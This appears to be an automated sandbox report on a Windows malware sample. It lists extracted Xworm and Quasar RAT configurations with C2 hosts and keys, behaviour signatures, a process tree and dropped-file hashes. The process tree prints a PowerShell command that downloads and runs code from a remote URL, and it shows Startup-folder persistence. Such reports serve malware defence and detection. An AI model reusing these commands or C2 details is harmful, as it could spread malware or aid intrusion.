Analysis

  • max time kernel
    110s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 11:07

General

  • Target
    2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 1.3MB
  • Sample260720-m8faeafy4m
  • SHA256 a81bf430b25da55bf050945681ef9361d8894669f38fdf48a9c5cb819ebc574b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://codeberg.org/kralking/code/raw/branch/main/program.txt

Extracted

Family
  • xworm

C2
  • deli.ydns.eu:600

  • kmsgui.dns.army:600

  • 82.165.179.9:600

Mutex
  • 9wl1iEr8J46aOky4

Attributes
  • Install_directory

    %AppData%

  • install_file

    SystemSettings.exe

aes.plain

Extracted

Family
  • quasar

Version
  • 1.4.0.0

Botnet
  • NEW SBH FTH

C2
  • deli.ydns.eu:90

  • 82.165.179.9:90

Mutex
  • qJ6CTlzQe7KlkbQvSe

Attributes
  • encryption_key

    8jAQYR2uQQ47kwLl7SSP

  • install_name

    Client.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Family: Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Quasar payload 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 2 IoCs
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing common artifacts observed in infostealers 1 IoCs
  • UPX dump on OEP (original entry point) 14 IoCs
  • Badlisted process makes network request 23 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 6 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_e36217acc764c6e00f732e73c5a5d726_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\ProgramData\setup.exe
      "C:\ProgramData\setup.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4364
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4148
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\Updater.js"
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe
          "C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:936
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\win.js"
        3⤵
        • Badlisted process makes network request
        • Drops startup file
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:4948
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\WindowsUpdater.js"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://codeberg.org/kralking/code/raw/branch/main/program.txt')"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5024
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2968
        • C:\Windows\SysWOW64\xcopy.exe
          "C:\Windows\System32\xcopy.exe" "C:\ProgramData\Adobe\AIR\Logs\gp\PerfLogs\Google\start\WindowsUpdater.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdater.js*"
          4⤵
          • Drops startup file
          • System Location Discovery: System Language Discovery
          • Enumerates system info in registry
          PID:2680
  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\win.js"
    1⤵
    • Badlisted process makes network request
    • Drops startup file
    • Adds Run key to start application
    PID:4648
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2340

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          PCWDiagnostic.xml

          • Path C:\ProgramData\diag fix\index\PCWDiagnostic.xml
          • Size 85KB
          • SHA256 aa2aae961ecc3aa00a7280ff94a553de2acc402aff0703351b4ff6bafecce2f2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          win.ps1

          • Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\Settings\A\News\win.ps1
          • Size 106KB
          • SHA256 aa473b497f678fa03231fd55cd7c93467a26223f58f05581f59d4a81abd50152
          • MD5 SHA1 SHA512 SSDEEP TLSH

          win.js

          • Path C:\ProgramData\diag fix\scheduled\Maintenance\Resources\Licenses\setup\win.js
          • Size 39KB
          • SHA256 3196b352918a3abe5dee4cdf2454251ef794dc553b4cfcebdcaa28b6131e2685
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Updater.js

          • Path C:\ProgramData\diag fix\scheduled\Maintenance\ShellNew\dfr\Updater.js
          • Size 23KB
          • SHA256 d8b23ecc5ec4787d26280b887bca8af36dd1934b1f4fec4eb5e002781dfc2111
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CL_LocalizationData.psd1

          • Path C:\ProgramData\diag fix\system\Audio\Prefetch\CL_LocalizationData.psd1
          • Size 3KB
          • SHA256 00a6c19fc0e6bc0d9da94c3ee1fa3628672ff8d2211d7d5ac8b297feb7aed670
          • MD5 SHA1 SHA512 TLSH

          DiagPackage.dll.mui

          • Path C:\ProgramData\diag fix\system\Audio\Prefetch\DiagPackage.dll.mui
          • Size 9KB
          • SHA256 b07cfffb57172a40a388f8f38817301c5b81a6a87a849b210e45eed60d0a36cf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CL_LocalizationData.psd1

          • Path C:\ProgramData\diag fix\system\Audio\ShellNew\CL_LocalizationData.psd1
          • Size 3KB
          • SHA256 82d59d69833c45c7b6a73b95bc2a878a59fdc849fd76aff21d8c268ee024d738
          • MD5 SHA1 SHA512 TLSH

          DiagPackage.dll.mui

          • Path C:\ProgramData\diag fix\system\Audio\ShellNew\DiagPackage.dll.mui
          • Size 8KB
          • SHA256 64eb9b75083ff881602ad48de5795e519c98de84029c2846bcfc857644a64c47
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.exe

          • Path C:\ProgramData\setup.exe
          • Size 428KB
          • SHA256 31bd54a3be76992f0499f7ccf67681fa3c0f853a188873c247ec52c28aaaf5fa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 63KB
          • SHA256 f03f6fc2c8855b686e9632e719562322d13b2e39daf193510e6b86b2bcd6b366
          • MD5 SHA1 SHA512 SSDEEP TLSH

          SearchProtocolHost.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SearchProtocolHost.exe
          • Size 91KB
          • SHA256 e6c14163fb9398c674843f747daf990beabaf220702aec180cc33a5956401326
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_c232zluo.y5e.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c232zluo.y5e.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/936-670-0x0000000003090000-0x00000000030B2000-memory.dmp

          memory/936-667-0x0000000000300000-0x000000000031C000-memory.dmp

          memory/936-674-0x00007FFE2F670000-0x00007FFE30014000-memory.dmp

          memory/936-676-0x0000000001360000-0x000000000137C000-memory.dmp

          memory/2968-691-0x00000000056C0000-0x0000000005752000-memory.dmp

          memory/2968-704-0x0000000006E10000-0x0000000006E1A000-memory.dmp

          memory/2968-690-0x0000000000400000-0x000000000044E000-memory.dmp

          memory/2968-701-0x00000000057A0000-0x00000000057B2000-memory.dmp

          memory/2968-702-0x0000000006AA0000-0x0000000006ADC000-memory.dmp

          memory/4148-628-0x0000000007300000-0x0000000007396000-memory.dmp

          memory/4148-617-0x00000000029D0000-0x0000000002A06000-memory.dmp

          memory/4148-631-0x0000000007960000-0x0000000007F1A000-memory.dmp

          memory/4148-630-0x00000000072B0000-0x00000000072D2000-memory.dmp

          memory/4148-621-0x0000000005980000-0x00000000059E6000-memory.dmp

          memory/4148-627-0x0000000006ED0000-0x0000000006F18000-memory.dmp

          memory/4148-629-0x0000000007260000-0x000000000727A000-memory.dmp

          memory/4148-632-0x00000000085A0000-0x0000000008C1C000-memory.dmp

          memory/4148-618-0x0000000005190000-0x00000000057DA000-memory.dmp

          memory/4148-626-0x0000000005F70000-0x0000000005FBC000-memory.dmp

          memory/4148-625-0x0000000005F00000-0x0000000005F1E000-memory.dmp

          memory/4148-624-0x00000000059F0000-0x0000000005D4B000-memory.dmp

          memory/4148-619-0x0000000005100000-0x0000000005122000-memory.dmp

          memory/4148-620-0x0000000005910000-0x0000000005976000-memory.dmp

          memory/5024-697-0x0000000007CD0000-0x0000000007CF0000-memory.dmp

          memory/5024-693-0x000000006F470000-0x000000006F4BC000-memory.dmp

          memory/5024-708-0x000000000A600000-0x000000000A608000-memory.dmp

          memory/5024-707-0x0000000007EC0000-0x0000000007EDC000-memory.dmp

          memory/5024-706-0x0000000007E60000-0x0000000007E75000-memory.dmp

          memory/5024-705-0x0000000007E50000-0x0000000007E60000-memory.dmp

          memory/5024-700-0x0000000007E30000-0x0000000007E41000-memory.dmp

          memory/5024-699-0x0000000007DE0000-0x0000000007DEA000-memory.dmp

          memory/5024-688-0x00000000053F0000-0x00000000053FA000-memory.dmp

          memory/5024-689-0x0000000007BB0000-0x0000000007C4C000-memory.dmp

          memory/5024-698-0x0000000007CF0000-0x0000000007D93000-memory.dmp

          memory/5024-694-0x000000006F620000-0x000000006F97B000-memory.dmp

          memory/5024-692-0x0000000007C90000-0x0000000007CC6000-memory.dmp

          memory/5856-641-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-615-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-637-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-640-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-673-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-642-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-635-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-634-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-633-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-684-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-671-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-672-0x0000000000400000-0x0000000000501000-memory.dmp

          memory/5856-675-0x0000000000400000-0x0000000000501000-memory.dmp